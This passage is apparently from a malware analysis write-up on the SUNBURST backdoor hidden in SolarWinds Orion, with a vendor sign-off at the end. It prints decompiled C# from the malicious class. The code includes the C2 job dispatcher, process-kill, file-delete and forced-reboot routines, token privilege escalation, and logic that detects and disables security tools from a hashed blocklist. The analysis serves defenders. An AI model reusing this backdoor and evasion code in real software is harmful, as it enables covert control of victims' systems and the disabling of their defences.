if (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.ReadRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetRegistryValue || (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetRegistrySubKeyAndValueNames))
num = OrionImprovementBusinessLayer.HttpHelper.AddRegistryExecutionEngine(job, args, out result);
switch (job)
{
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetTime:
int delay;
OrionImprovementBusinessLayer.Job.SetTime(args, out delay);
this.delay = delay;
break;
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.CollectSystemDescription:
OrionImprovementBusinessLayer.Job.CollectSystemDescription(this.proxy.ToString(), out result);
break;
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.UploadSystemDescription:
OrionImprovementBusinessLayer.Job.UploadSystemDescription(args, out result, this.proxy.GetWebProxy());
break;
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.RunTask:
num = OrionImprovementBusinessLayer.Job.RunTask(args, cl, out result);
break;
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetProcessByDescription:
OrionImprovementBusinessLayer.Job.GetProcessByDescription(args, out result);
break;
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.KillTask:
OrionImprovementBusinessLayer.Job.KillTask(args);
break;
}
return job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.WriteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.FileExists || (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileHash) || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileSystemEntries ? OrionImprovementBusinessLayer.HttpHelper.AddFileExecutionEngine(job, args, out result) : num;
}
catch (Exception ex)
{
if (!string.IsNullOrEmpty(result))
result += “n”;
result += ex.Message;
return ex.HResult;
}
–End ExecuteEngine function–
**TERMINATE PROCESSES**
public static void KillTask(string[] args) =>
Process.GetProcessById(int.Parse(args[0])).Kill();
**DELETE FILE**
public static void DeleteFile(string[] args) => System.IO.File.Delete(Environment.ExpandEnvironmentVariables(args[0]));
**COMPUTE FILE HASHES**
public static int GetFileHash(string[] args, out string result)
{
result = (string) null;
string path = Environment.ExpandEnvironmentVariables(args[0]);
using (MD5 md5 = MD5.Create())
{
using (FileStream fileStream = System.IO.File.OpenRead(path))
{
byte[] hash = md5.ComputeHash((Stream) fileStream);
if (args.Length > 1)
return !(OrionImprovementBusinessLayer.ByteArrayToHexString(hash).ToLower() == args[1].ToLower()) ? 1 : 0;
result = OrionImprovementBusinessLayer.ByteArrayToHexString(hash);
}
}
return 0;
}
**REBOOT SYSTEM**
public static bool RebootComputer()
{
bool flag = false;
try
{
bool previousState = false;
string privilege = OrionImprovementBusinessLayer.ZipHelper.Unzip(ph2eifo3n5utg1j8d94qrvbmk0sal76c);
if (!OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, true, out previousState))
return flag;
flag = OrionImprovementBusinessLayer.NativeMethods.InitiateSystemShutdownEx((string) null, (string) null, 0U, true, true, 2147745794U);
OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, previousState, out previousState);
return flag;
}
catch (Exception ex)
{
return flag;
}
}
–End additional functions Function–
**ADJUST PROCESS PRIVILEGES**
The SetProcessPrivilege function is used to adjust privileges for a target process on the victim system. For example, a process may need increased system level privileges to accomplish its designed task.
–Begin SetProcessPrivilege Function–
public static bool SetProcessPrivilege(
string privilege,
bool newState,
out bool previousState)
{
bool flag = false;
previousState = false;
try
{
IntPtr zero = IntPtr.Zero;
OrionImprovementBusinessLayer.NativeMethods.LUID Luid = new OrionImprovementBusinessLayer.NativeMethods.LUID();
Luid.LowPart = 0U;
Luid.HighPart = 0U;
if (!OrionImprovementBusinessLayer.NativeMethods.OpenProcessToken(OrionImprovementBusinessLayer.NativeMethods.GetCurrentProcess(), TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, ref zero))
return false;
if (!OrionImprovementBusinessLayer.NativeMethods.LookupPrivilegeValue((string) null, privilege, ref Luid))
{
OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero);
return false;
}
OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE NewState = new OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE();
OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE PreviousState = new OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE();
NewState.PrivilegeCount = 1U;
NewState.Privilege.Luid = Luid;
NewState.Privilege.Attributes = newState ? 2U : 0U;
uint ReturnLength = 0;
OrionImprovementBusinessLayer.NativeMethods.AdjustTokenPrivileges(zero, false, ref NewState, (uint) Marshal.SizeOf((object) PreviousState), ref PreviousState, ref ReturnLength);
previousState = (PreviousState.Privilege.Attributes & 2U) > 0U;
flag = true;
OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero);
return flag;
}
catch (Exception ex)
{
return flag;
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct LUID
{
public uint LowPart;
public uint HighPart;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct LUID_AND_ATTRIBUTES
{
public OrionImprovementBusinessLayer.NativeMethods.LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct TOKEN_PRIVILEGE
{
public uint PrivilegeCount;
public OrionImprovementBusinessLayer.NativeMethods.LUID_AND_ATTRIBUTES Privilege;
}
}
–End SetProcessPrivilege Function–
**BLOCK LIST CHECKING FUNCTIONS**
The Update function is critical to starting the SUNBURST C2 functionality. Early in its execution, the Update function calls the UpdateNotification() function. If that returns a “False”, indicating one of the hard-coded block list processes is running, the SUNBURST malware will not initiate its C2 session. The malicious class “OrionImprovementBusinessLayer”, containing the SUNBURST module, will effectively be disabled. However, the parent SolarWinds process running the malicious DLL 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 will not be interrupted.
–Begin Update Function–
private static void Update()
{
bool flag1 = false;
OrionImprovementBusinessLayer.CryptoHelper cryptoHelper = new OrionImprovementBusinessLayer.CryptoHelper(OrionImprovementBusinessLayer.userId, OrionImprovementBusinessLayer.domain4);
OrionImprovementBusinessLayer.HttpHelper http = (OrionImprovementBusinessLayer.HttpHelper) null;
Thread thread = (Thread) null;
bool last = true;
OrionImprovementBusinessLayer.AddressFamilyEx addressFamilyEx = OrionImprovementBusinessLayer.AddressFamilyEx.Unknown;
int num1 = 0;
bool flag2 = true;
OrionImprovementBusinessLayer.DnsRecords rec = new OrionImprovementBusinessLayer.DnsRecords();
Random random = new Random();
int num2 = 0;
if (!OrionImprovementBusinessLayer.UpdateNotification())
return;
OrionImprovementBusinessLayer.svcListModified2 = false;
for (int index = 1; index <= 3 && !flag1; ++index)
{
OrionImprovementBusinessLayer.DelayMin(rec.A, rec.A);
if (!OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
{
if (OrionImprovementBusinessLayer.svcListModified1)
flag2 = true;
num1 = OrionImprovementBusinessLayer.svcListModified2 ? num1 + 1 : 0;
string hostName;
switch (OrionImprovementBusinessLayer.status)
{
case OrionImprovementBusinessLayer.ReportStatus.New:
hostName = addressFamilyEx == OrionImprovementBusinessLayer.AddressFamilyEx.Error ? cryptoHelper.GetCurrentString() : cryptoHelper.GetPreviousString(out last);
break;
case OrionImprovementBusinessLayer.ReportStatus.Append:
hostName = flag2 ? cryptoHelper.GetNextStringEx(rec.dnssec) : cryptoHelper.GetNextString(rec.dnssec);
break;
default:
goto label_27;
}
–End Update Function–
The UpdateNotification() function will return a “False” if any process on the hard coded blocklist is running on the target system. It utilizes the TrackProcess function detailed below. It call the TrackProcesses function.
–Begin UpdateNotification Function–
private static bool UpdateNotification()
{
int num = 3;
while (num– > 0)
{
OrionImprovementBusinessLayer.DelayMin(0, 0);
if (OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
return false;
if (OrionImprovementBusinessLayer.DnsHelper.CheckServerConnection(OrionImprovementBusinessLayer.apiHost))
return true;
}
return false;
}
–End UpdateNotification Function–
The “TrackProcesses” function queries a list of running processes on the target system and then passes the process names to the “SearchAssemblies” function, which hashes their process names and compares the result hashes to the hard-coded process hash list stored in the list “assemblyTimeStamps.” If any of the target processes are running, the function will return True. It also searches for certain services and attempts to disable them.
–Begin TrackProcesses Function–
public static bool TrackProcesses(bool full)
{
Process[] processes = Process.GetProcesses();
if (OrionImprovementBusinessLayer.ProcessTracker.SearchAssemblies(processes))
return true;
bool flag = OrionImprovementBusinessLayer.ProcessTracker.SearchServices(processes);
return !flag & full ? OrionImprovementBusinessLayer.ProcessTracker.SearchConfigurations() : flag;
}
–End TrackProcesses Function–
The “SearchAssemblies” function called by TrackProcesses, is used to enumerate running processes to determine if any of the hashed processes, included within the process blocklist are currently running on the target system.
–Begin SearchAssemblies Function—
private static bool SearchAssemblies(Process[] processes)
{
for (int index = 0; index < processes.Length; ++index)
{
ulong hash = OrionImprovementBusinessLayer.GetHash(processes[index].ProcessName.ToLower());
if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.assemblyTimeStamps, hash) != -1)
return true;
}
return false;
}
–End SearchAssemblies Function–
The SearchServices” function, called by TrackProcesses, searches running services to determine whether or not they are running any of the hard-coded block list target process hashes. It attempts to disable these services.
–Begin SearchServices Function–
private static bool SearchServices(Process[] processes)
{
for (int index = 0; index < processes.Length; ++index)
{
ulong hash = OrionImprovementBusinessLayer.GetHash(processes[index].ProcessName.ToLower());
foreach (OrionImprovementBusinessLayer.ServiceConfiguration svc in OrionImprovementBusinessLayer.svcList)
{
if (Array.IndexOf<ulong>(svc.timeStamps, hash) != -1)
{
object obj = OrionImprovementBusinessLayer.ProcessTracker._lock;
bool flag = false;
try
{
Monitor.Enter(obj, ref flag);
if (!svc.running)
{
OrionImprovementBusinessLayer.svcListModified1 = true;
OrionImprovementBusinessLayer.svcListModified2 = true;
svc.running = true;
}
if (!svc.disabled)
{
if (!svc.stopped)
{
if (svc.Svc.Length != 0)
{
OrionImprovementBusinessLayer.DelayMin(0, 0);
OrionImprovementBusinessLayer.ProcessTracker.SetManualMode(svc.Svc);
svc.disabled = true;
svc.stopped = true;
}
}
}
}
finally
{
if (flag)
Monitor.Exit(obj);
}
–End SearchServices Function–
Screenshots
Figure 1 – The modified module with a new class function named “OrionImprovementBusinessLayer.”
Figure 2 – The code snippet contains the subdomains and other strings used to construct the C2 domains.
Brought to you by Dr. Ware, Microsoft Office 365 Silver Partner, Charleston SC.
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